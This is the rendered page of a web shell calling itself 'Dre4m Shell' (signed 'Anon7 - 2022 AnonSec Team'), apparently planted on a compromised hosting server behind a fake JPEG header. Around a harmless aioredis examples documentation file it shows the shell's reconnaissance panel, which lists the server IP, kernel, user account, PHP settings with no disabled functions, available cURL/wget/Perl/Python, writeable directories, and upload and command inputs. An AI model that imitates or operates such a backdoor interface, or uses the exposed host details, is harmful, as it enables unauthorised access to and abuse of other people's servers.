ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python35/share/doc/alt-python35-aioredis/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/alt/python35/share/doc/alt-python35-aioredis/docs/examples.rst
Examples of aioredis usage
==========================

Below is a list of examples from `aioredis/examples
<https://github.com/aio-libs/aioredis/tree/master/examples>`_
(see for more).

Every example is a correct python program that can be executed.

.. _aioredis-examples-simple:

Low-level connection usage example
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:download:`get source code<../examples/connection.py>`

.. literalinclude:: ../examples/connection.py


Connections pool example
~~~~~~~~~~~~~~~~~~~~~~~~

:download:`get source code<../examples/pool.py>`

.. literalinclude:: ../examples/pool.py


Commands example
~~~~~~~~~~~~~~~~

:download:`get source code<../examples/commands.py>`

.. literalinclude:: ../examples/commands.py


Transaction example
~~~~~~~~~~~~~~~~~~~

:download:`get source code<../examples/transaction.py>`

.. literalinclude:: ../examples/transaction.py


Pub/Sub example
~~~~~~~~~~~~~~~

:download:`get source code<../examples/pubsub.py>`

.. literalinclude:: ../examples/pubsub.py


Scan command example
~~~~~~~~~~~~~~~~~~~~

:download:`get source code<../examples/scan.py>`

.. literalinclude:: ../examples/scan.py


Sentinel client
~~~~~~~~~~~~~~~

:download:`get source code<../examples/sentinel.py>`

.. literalinclude:: ../examples/sentinel.py

Anon7 - 2022
AnonSec Team